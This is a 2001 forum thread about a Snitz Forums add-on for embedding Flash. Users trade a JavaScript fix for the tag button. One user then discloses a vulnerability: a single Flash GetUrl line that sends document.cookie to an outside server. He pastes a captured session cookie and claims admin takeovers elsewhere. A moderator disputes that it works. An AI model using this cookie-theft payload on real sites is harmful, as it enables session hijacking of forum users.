Snitz Forums 2000
Snitz Forums 2000
Home | Profile | Register | Active Topics | Members | Search | FAQ
Username:
Password:
Save Password
Forgot your Password?

 All Forums
 Snitz Forums 2000 MOD-Group
 MOD Add-On Forum (W/Code)
 MOD: Embedding Flash
 New Topic  Topic Locked
 Printer Friendly
Previous Page
Author Previous Topic Topic Next Topic
Page: of 2

weirdave
Starting Member

USA
6 Posts

Posted - 20 August 2001 :  17:15:05  Show Profile  Visit weirdave's Homepage
Okay so I got this MOD installed and it only works when I have the promting set to MODE: Prompt. So I tinkered with the code and got it to work here is what I did:

OLD CODE:

function flash() {
if (helpstat) {
alert("Inserts Flash tags, remember to enter width and height attributes before and after the ::");
} else if (basic) {
AddTxt="";
AddText(AddTxt, "[flash :: ]", "[/flash]");
} else {
txt=prompt("URL to flash file (.swf)","Text");
if (txt!=null) {
AddTxt="[flash :: ]"+txt+"[/flash]";
AddText(AddTxt);
}
}
}

NEW CODE:

function flash() {
if (helpstat) {
alert("Inserts Flash tags, remember to enter width and height attributes before and after the ::");
} else if (basic) {
AddTxt="[flash :: ][/flash]";
AddText(AddTxt);
} else {
txt=prompt("URL to flash file (.swf)","Text");
if (txt!=null) {
AddTxt="[flash :: ]"+txt+"[/flash]";
AddText(AddTxt);
}
}
}


I hope this helps someone..


\\/eir]>ave
Home of The Tidbit List
http://www.weirdave.com/tidbits/default.asp
Go to Top of Page

Raichelle
Junior Member

370 Posts

Posted - 20 August 2001 :  21:51:44  Show Profile
ya mine didn't work either i had to change the codes the way the other codes where then it started working i think its similar to yours

Go to Top of Page

weirdave
Starting Member

USA
6 Posts

Posted - 21 August 2001 :  04:05:54  Show Profile  Visit weirdave's Homepage
I made a button for this MOD as well. It is displayed below please feel free to get it or if you want request it through email and I will send it to you.



Trying my best to contribute back....

\\/eir]>ave
Home of The Tidbit List
http://www.weirdave.com/tidbits/default.asp
Go to Top of Page

kylem
Starting Member

6 Posts

Posted - 21 August 2001 :  15:44:52  Show Profile

I used javascript to grab the following info from this Snitz forums. I could just as easily grabbed yours, if you allowed me to embed flash.

%2Fforum%2FstrSelectSize; Snitz00User=Cookies=&Pword=MyPassword&Name=kylem; ASPSESSIONIDQGQQQMAY=EEANPAGDKFNNAKIHGEOEAJJC

All I have to put in my flash movie is GetUrl("javascript:window.open('http://myserver.com/saveQueryStringToDisk.asp?' + document.cookie)")

saveQueryStringToDisk.asp saves the cookie to a text file on a server, and closes itself.

I have gotten admin-level access through a similar method on some really big UBB sites.

Go to Top of Page

kylem
Starting Member

6 Posts

Posted - 21 August 2001 :  15:52:46  Show Profile
Dayve, check out your own demo.....I think you will see the problem.

Go to Top of Page

dayve
Forum Moderator

USA
5820 Posts

Posted - 21 August 2001 :  16:11:15  Show Profile  Visit dayve's Homepage
email me my password.

and please do share the asp source you are referring to. I've seen client side tricks like this but I am unaware of your ability to actually get that info so please do share.

Dayve
Go to Top of Page

dayve
Forum Moderator

USA
5820 Posts

Posted - 22 August 2001 :  21:44:32  Show Profile  Visit dayve's Homepage
that script you sent me will not work the way you think it will. you cannot retrieve my cookies to your server that way.

Dayve
Go to Top of Page
Page: of 2 Previous Topic Topic Next Topic  
Previous Page
 New Topic  Topic Locked
 Printer Friendly
Jump To:
Snitz Forums 2000 © 2000-2021 Snitz™ Communications Go To Top Of Page
This page was generated in 0.17 seconds. Powered By: Snitz Forums 2000 Version 3.4.07